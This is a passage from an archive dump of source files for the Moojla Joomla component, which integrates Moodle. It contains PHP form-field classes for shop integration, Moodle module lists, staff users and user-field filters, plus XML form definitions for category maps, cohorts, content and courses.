			$results = array_unique($results);
			foreach ($results as $courseid)
			{
				// Now add the courseid and its text to the options array
				$_filter[] = JHtml::_('select.option', $courseid, $courseid);
			}
		}
		return $_filter;
	}
}
models/fields/shopintegration.php000064400000006653151165724400013242
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		shopintegration.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Shopintegration Form Field class for the Moojla component
 */
class JFormFieldShopintegration extends JFormFieldList
{
	/**
	 * The shopintegration field type.
	 *
	 * @var		string
	 */
	public $type = 'shopintegration';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.

	    ?>
        <script>
            jQuery(document).ready(function($){
                
                var shop_integration_val=
$('#jform_shop_integration').val();
               
$('#jform_shop_integration').on('change', function() {
                    var val= $(this).val()
                    $('#shop_integration_message').remove();
                    $.ajax({
                        url: 'index.php?option=com_moojla',
                        method: 'post',
                        data: {'shop_name':
val,'task':'ajax.shop_requirement','format':'json','raw':'true',
'token': '<?= JSession::getFormToken()?>'},
                        success: function(msg){
                            if (msg)
                            {
                               
$('#jform_shop_integration').parents('.control-group').append('<div
style="padding: 10px 0;"
id="shop_integration_message"></div>')
                                msg.messages.each(function(value, index){
                                   
$('#shop_integration_message').append('<div
style="margin: 0;" class="alert
alert-'+value.class+'">'+value.message+'</div>');
                                })
                            }
                        }
                    })
                });
            })
        </script>
<?php
		$user = JFactory::getUser();
		// Get the databse object.
		
		JPluginHelper::importPlugin("moojlashopintegration");
		$dispatcher = JEventDispatcher::getInstance();
		$items = $dispatcher->trigger("getShopIntegrationName",
array());
		$options = array();
		$options[] = JHtml::_('select.option', '',
'Select an option');
		if ($items)
		{
			
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->id,
$item->shop_integration_name);
			}
		}
		return $options;
	}
}
models/fields/skyroommod.php000064400000004142151165724400012217
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		skyroommod.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Skyroommod Form Field class for the Moojla component
 */
class JFormFieldSkyroommod extends JFormFieldList
{
	/**
	 * The skyroommod field type.
	 *
	 * @var		string
	 */
	public $type = 'skyroommod';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
				$user = JFactory::getUser();

		JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
		$dataObj = array(
			"wsfunction"          =>
"moojla_get_plugins_of_type",
			"moodlewsrestformat"  => "json",
			"type"=>"mod"
		);

		$items =
json_decode(moojlaHelper::sendRequestToMoodle($dataObj)->response);
    
		$options = array();
		if ($items)
		{
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->name ,
$item->name);
			}
		}
		return $options;
	}
}
models/fields/staffusers.php000064400000003676151165724400012214
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		staffusers.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('user');

/**
 * Staffusers Form Field class for the Moojla component
 */
class JFormFieldStaffusers extends JFormFieldUser
{
	/**
	 * The staffusers field type.
	 *
	 * @var		string
	 */
	public $type = 'staffusers';

	/**
	 * Method to get the filtering groups (null means no filtering)
	 *
	 * @return  mixed  array of filtering groups or null.
	 *
	 * @since   1.6
	 */
	protected function getGroups()
	{
		// set the groups array
$groups =
JComponentHelper::getParams('com_moojla')->get('staffusers');
return $groups;
	}

	/**
	 * Method to get the users to exclude from the list of users
	 *
	 * @return  mixed  Array of users to exclude or null to to not exclude
them
	 *
	 * @since   1.6
	 */
	protected function getExcluded()
	{
		return null;
	}
}
models/fields/userfieldsmapfilteriscv.php000064400000005103151165724400014750
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		userfieldsmapfilteriscv.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Userfieldsmapfilteriscv Form Field class for the Moojla component
 */
class JFormFieldUserfieldsmapfilteriscv extends JFormFieldList
{
	/**
	 * The userfieldsmapfilteriscv field type.
	 *
	 * @var		string
	 */
	public $type = 'userfieldsmapfilteriscv';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get a db connection.
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);

		// Select the text.
		$query->select($db->quoteName('iscv'));
		$query->from($db->quoteName('#__moojla_user_field_map'));
		$query->order($db->quoteName('iscv') . ' ASC');

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		$results = $db->loadColumn();
		$_filter = array();
		$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_CV') . '
-');

		if ($results)
		{
			// get user_fields_mapmodel
			$model = MoojlaHelper::getModel('user_fields_map');
			$results = array_unique($results);
			foreach ($results as $iscv)
			{
				// Translate the iscv selection
				$text = $model->selectionTranslation($iscv,'iscv');
				// Now add the iscv and its text to the options array
				$_filter[] = JHtml::_('select.option', $iscv,
JText::_($text));
			}
		}
		return $_filter;
	}
}
models/forms/category_map.xml000064400000012346151165724400012364
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_CATEGORY_MAP_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_CATEGORY_MAP_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_CATEGORY_MAP_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_CATEGORY_MAP_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_CATEGORY_MAP_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_CATEGORY_MAP_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_CATEGORY_MAP_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_CATEGORY_MAP_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                      
label="COM_MOOJLA_CATEGORY_MAP_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                      
label="COM_MOOJLA_CATEGORY_MAP_VERSION_LABEL"
                      
description="COM_MOOJLA_CATEGORY_MAP_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla category_map" />
                <!-- Dynamic Fields.-->
                <!-- Jcatid Field. Type: Text. (joomla)-->
                <field type="text"
                       name="jcatid"
                      
label="COM_MOOJLA_CATEGORY_MAP_JCATID_LABEL"
                       size="10"
                       maxlength="50"
                      
description="COM_MOOJLA_CATEGORY_MAP_JCATID_DESCRIPTION"
                       class="text_area"
                       filter="INT" />
                <!-- Mcatid Field. Type: Text. (joomla)-->
                <field type="text"
                       name="mcatid"
                      
label="COM_MOOJLA_CATEGORY_MAP_MCATID_LABEL"
                       size="10"
                       maxlength="50"
                      
description="COM_MOOJLA_CATEGORY_MAP_MCATID_DESCRIPTION"
                       class="text_area"
                       filter="INT" />
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this category_map"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="category_map"
		/>
	</fieldset>
</form>models/forms/cohort.xml000064400000012170151165724400011203
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_COHORT_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_COHORT_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                       label="COM_MOOJLA_COHORT_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_COHORT_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_COHORT_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_COHORT_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_COHORT_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_COHORT_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                       label="COM_MOOJLA_COHORT_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                       label="COM_MOOJLA_COHORT_VERSION_LABEL"
                      
description="COM_MOOJLA_COHORT_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla cohort" />
                <!-- Dynamic Fields.-->
                <!-- Mcohort Field. Type: Mcohort. (custom)-->
                <field type="mcohort"
                       name="mcohort"
                       label="COM_MOOJLA_COHORT_MCOHORT_LABEL"
                      
description="COM_MOOJLA_COHORT_MCOHORT_DESCRIPTION"
                       class="list_class"
                       multiple="false"
                       required="true"
                       button="false" />
                <!-- Course_group Field. Type: Customusergroup.
(custom)-->
                <field type="customusergroup"
                       name="course_group"
                      
label="COM_MOOJLA_COHORT_COURSE_GROUP_LABEL"
                      
description="COM_MOOJLA_COHORT_COURSE_GROUP_DESCRIPTION"
                       class="list_class"
                       button="true" />
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this cohort"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="cohort"
		/>
	</fieldset>
</form>models/forms/content.xml000064400000022747151165724400011372
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_CONTENT_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_CONTENT_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                      
label="COM_MOOJLA_CONTENT_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_CONTENT_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_CONTENT_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_CONTENT_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_CONTENT_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_CONTENT_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                       label="COM_MOOJLA_CONTENT_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                       label="COM_MOOJLA_CONTENT_VERSION_LABEL"
                      
description="COM_MOOJLA_CONTENT_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla content" />
                <!-- Dynamic Fields.-->
                <!-- Contents_module_id Field. Type: Text.
(joomla)-->
                <field type="text"
                       name="contents_module_id"
                      
label="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_LABEL"
                       size="10"
                       maxlength="50"
                       default="Some text"
                      
description="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="true"
                       filter="INT"
                      
message="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_MESSAGE"
                      
hint="COM_MOOJLA_CONTENT_CONTENTS_MODULE_ID_HINT"
                       autocomplete="on" />
                <!-- Type Field. Type: Text. (joomla)-->
                <field type="text"
                       name="type"
                       label="COM_MOOJLA_CONTENT_TYPE_LABEL"
                       size="64"
                       maxlength="64"
                       default=""
                      
description="COM_MOOJLA_CONTENT_TYPE_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="true"
                       filter="STRING"
                       message="COM_MOOJLA_CONTENT_TYPE_MESSAGE"
                       hint="COM_MOOJLA_CONTENT_TYPE_HINT"
                       autocomplete="on" />
                <!-- Filename Field. Type: Text. (joomla)-->
                <field type="text"
                       name="filename"
                       label="COM_MOOJLA_CONTENT_FILENAME_LABEL"
                       size="255"
                       maxlength="255"
                       default=""
                      
description="COM_MOOJLA_CONTENT_FILENAME_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_CONTENT_FILENAME_MESSAGE"
                       hint="COM_MOOJLA_CONTENT_FILENAME_HINT"
                       autocomplete="on" />
                <!-- Mimetype Field. Type: Text. (joomla)-->
                <field type="text"
                       name="mimetype"
                       label="COM_MOOJLA_CONTENT_MIMETYPE_LABEL"
                       size="50"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_CONTENT_MIMETYPE_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_CONTENT_MIMETYPE_MESSAGE"
                       hint="COM_MOOJLA_CONTENT_MIMETYPE_HINT"
                       autocomplete="on" />
                <!-- File Field. Type: Text. (joomla)-->
                <field type="text"
                       name="file"
                       label="COM_MOOJLA_CONTENT_FILE_LABEL"
                       size="255"
                       maxlength="255"
                       default=""
                      
description="COM_MOOJLA_CONTENT_FILE_DESCRIPTION"
                       class="text_area"
                       readonly="true"
                       disabled="true"
                       required="false"
                       filter="STRING"
                       message="COM_MOOJLA_CONTENT_FILE_MESSAGE"
                       hint="COM_MOOJLA_CONTENT_FILE_HINT"
                       autocomplete="on" />
                <!-- Filesize Field. Type: Text. (joomla)-->
                <field type="text"
                       name="filesize"
                       label="COM_MOOJLA_CONTENT_FILESIZE_LABEL"
                       size="255"
                       maxlength="255"
                       default="0"
                      
description="COM_MOOJLA_CONTENT_FILESIZE_DESCRIPTION"
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="INT"
                      
message="COM_MOOJLA_CONTENT_FILESIZE_MESSAGE"
                       hint="COM_MOOJLA_CONTENT_FILESIZE_HINT"
                       autocomplete="on" />
                <!-- Fileurl Field. Type: Url. (joomla)-->
                <field type="url"
                       name="fileurl"
                       label="COM_MOOJLA_CONTENT_FILEURL_LABEL"
                       size="255"
                       maxlength="255"
                       default=""
                      
description="COM_MOOJLA_CONTENT_FILEURL_DESCRIPTION"
                       class="text_area"
                       relative="false"
                       filter="url"
                       validated="url"
                       scheme="http,https,mailto"
                      
message="COM_MOOJLA_CONTENT_FILEURL_MESSAGE"
                       hint="COM_MOOJLA_CONTENT_FILEURL_HINT"
/>
        </fieldset>
	
	<!-- Access Control Fields. -->
	<fieldset name="accesscontrol">
		<!-- Asset Id Field. Type: Hidden (joomla) -->
		<field
			name="asset_id"
			type="hidden"
			filter="unset"
		/>
		<!-- Rules Field. Type: Rules (joomla) -->
		<field
			name="rules"
			type="rules"
			label="Permissions in relation to this content"
			translate_label="false"
			filter="rules"
			validate="rules"
			class="inputbox"
			component="com_moojla"
			section="content"
		/>
	</fieldset>
</form>models/forms/course.xml000064400000104614151165724400011212
0ustar00<?xml version="1.0" encoding="utf-8"?>
<form
	addrulepath="/administrator/components/com_moojla/models/rules"
	addfieldpath="/administrator/components/com_moojla/models/fields"
>
	<fieldset name="details">
                <!-- Default Fields.-->
                <!-- Id Field. Type: Text (joomla)-->
                <field name="id"
                       type="text"
                       class="readonly"
                       readonly="true"
                       label="JGLOBAL_FIELD_ID_LABEL"
                       description="JGLOBAL_FIELD_ID_DESC"
                       size="10"
                       default="0" />
                <!-- Date Created Field. Type: Calendar (joomla)-->
                <field name="created"
                       type="calendar"
                      
label="COM_MOOJLA_COURSE_CREATED_DATE_LABEL"
                      
description="COM_MOOJLA_COURSE_CREATED_DATE_DESC"
                       size="22"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Created Field. Type: User (joomla)-->
                <field name="created_by"
                       type="user"
                       label="COM_MOOJLA_COURSE_CREATED_BY_LABEL"
                      
description="COM_MOOJLA_COURSE_CREATED_BY_DESC" />
                <!-- Published Field. Type: List (joomla)-->
                <field name="published"
                       type="list"
                       label="JSTATUS">
                        <option
value="1">JPUBLISHED</option>
                        <option
value="0">JUNPUBLISHED</option>
                        <option
value="2">JARCHIVED</option>
                        <option
value="-2">JTRASHED</option>
                </field>
                <!-- Date Modified Field. Type: Calendar (joomla)-->
                <field name="modified"
                       type="calendar"
                       class="readonly"
                      
label="COM_MOOJLA_COURSE_MODIFIED_DATE_LABEL"
                      
description="COM_MOOJLA_COURSE_MODIFIED_DATE_DESC"
                       size="22"
                       readonly="true"
                       format="%Y-%m-%d %H:%M:%S"
                       filter="user_utc" />
                <!-- User Modified Field. Type: User (joomla)-->
                <field name="modified_by"
                       type="user"
                      
label="COM_MOOJLA_COURSE_MODIFIED_BY_LABEL"
                      
description="COM_MOOJLA_COURSE_MODIFIED_BY_DESC"
                       class="readonly"
                       readonly="true"
                       filter="unset" />
                <!-- Ordering Field. Type: Numbers (joomla)-->
                <field name="ordering"
                       type="number"
                       class="inputbox validate-ordering"
                       label="COM_MOOJLA_COURSE_ORDERING_LABEL"
                       description=""
                       default="0"
                       size="6"
                       required="false" />
                <!-- Version Field. Type: Text (joomla)-->
                <field name="version"
                       type="text"
                       class="readonly"
                       label="COM_MOOJLA_COURSE_VERSION_LABEL"
                      
description="COM_MOOJLA_COURSE_VERSION_DESC"
                       size="6"
                       readonly="true"
                       filter="unset" />
                <!-- Metakey Field. Type: Textarea (joomla)-->
                <field name="metakey"
                       type="textarea"
                       label="JFIELD_META_KEYWORDS_LABEL"
                       description="JFIELD_META_KEYWORDS_DESC"
                       rows="3"
                       cols="30" />
                <!-- Metadesc Field. Type: Textarea (joomla)-->
                <field name="metadesc"
                       type="textarea"
                       label="JFIELD_META_DESCRIPTION_LABEL"
                       description="JFIELD_META_DESCRIPTION_DESC"
                       rows="3"
                       cols="30" />
                <!-- Was added due to Permissions JS needing a Title
field-->
                <!-- Let us know at gh-629 should this change-->
                <!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
                <field name="title"
                       type="hidden"
                       default="moojla course" />
                <!-- Dynamic Fields.-->
                <!-- Shortname Field. Type: Text. (joomla)-->
                <field type="text"
                       name="shortname"
                       label="COM_MOOJLA_COURSE_SHORTNAME_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_SHORTNAME_MESSAGE"
                       autocomplete="on" />
                <!-- Fullname Field. Type: Text. (joomla)-->
                <field type="text"
                       name="fullname"
                       label="COM_MOOJLA_COURSE_FULLNAME_LABEL"
                       size="10"
                       maxlength="50"
                       default=""
                       class="text_area"
                       readonly="false"
                       disabled="false"
                       required="false"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_FULLNAME_MESSAGE"
                       hint="COM_MOOJLA_COURSE_FULLNAME_HINT"
                       autocomplete="on" />
                <!-- Catid Field. Type: Category. (joomla)-->
                <field type="category"
                       name="catid"
                       label="COM_MOOJLA_COURSE_CATID_LABEL"
                       extension="com_moojla.course"
                       required="false"
                       show_root="true"
                       default="0"
                      
description="COM_MOOJLA_COURSE_CATID_DESCRIPTION"
                       class="inputbox" />
                <!-- Addcontrols Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="addcontrols"
                      
label="COM_MOOJLA_COURSE_ADDCONTROLS_LABEL"
                      
description="COM_MOOJLA_COURSE_ADDCONTROLS_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="1"
                       showon="useglobalvideo:0">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                </field>
                <!-- Showregtab Field. Type: Radio. (joomla)-->
                <field type="radio"
                       name="showregtab"
                       label="COM_MOOJLA_COURSE_SHOWREGTAB_LABEL"
                      
description="COM_MOOJLA_COURSE_SHOWREGTAB_DESCRIPTION"
                       class="btn-group btn-group-yesno"
                       default="2"
                       showon="popupbutton:1">
                        <!-- Option Set.-->
                        <option
value="1">COM_MOOJLA_COURSE_YES</option>
                        <option
value="0">COM_MOOJLA_COURSE_NO</option>
                        <option
value="2">COM_MOOJLA_COURSE_INHERIT</option>
                </field>
                <!-- Startdate Field. Type: Calendar. (joomla)-->
                <field type="calendar"
                       name="startdate"
                       label="COM_MOOJLA_COURSE_STARTDATE_LABEL"
                       default="NOW"
                       format="%Y-%m-%d" />
                <!-- Enterlbl Field. Type: Text. (joomla)-->
                <field type="text"
                       name="enterlbl"
                       label="COM_MOOJLA_COURSE_ENTERLBL_LABEL"
                       size="20"
                       maxlength="50"
                       default=""
                      
description="COM_MOOJLA_COURSE_ENTERLBL_DESCRIPTION"
                       class="text_area"
                       filter="STRING"
                      
message="COM_MOOJLA_COURSE_ENTERLBL_MESSAGE"
                       hint="COM_MOOJLA_COURSE_ENTERLBL_HINT"
